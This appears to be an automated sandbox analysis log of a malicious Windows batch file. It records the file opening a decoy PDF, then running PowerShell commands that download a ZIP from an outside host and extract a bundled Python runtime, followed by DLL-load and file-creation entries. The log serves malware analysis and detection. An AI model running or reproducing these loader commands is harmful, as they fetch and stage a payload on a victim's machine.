Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Launcher\py.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Launcher\pyw.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_testcapi.pyd	Jump to dropped file

Source: Joe Sandbox View	Dropped File: C:\Users\user\Downloads\Python\Launcher\py.exe E52553F941CEB9E715D239E7A211501CE5D6096EEEB90FB161B7BFEDF6A61DAB
Source: Joe Sandbox View	Dropped File: C:\Users\user\Downloads\Python\Launcher\pyshellext.amd64.dll 6A4A987548A8FA13C8678FDAE921C2084A92048E6002400D5C48D695C502E0BD

Source: _overlapped.pyd.12.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _testbuffer.pyd.12.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _testclinic.pyd.12.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5776:120:WilError_03

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://varieties-follow-speed-easy.trycloudflare.com/kbsfaw.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://momojojo.store:4180/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2000,i,10170332737125429468,6227818781891547312,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://varieties-follow-speed-easy.trycloudflare.com/kbsfaw.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://momojojo.store:4180/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2000,i,10170332737125429468,6227818781891547312,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 3006
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 3006			Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
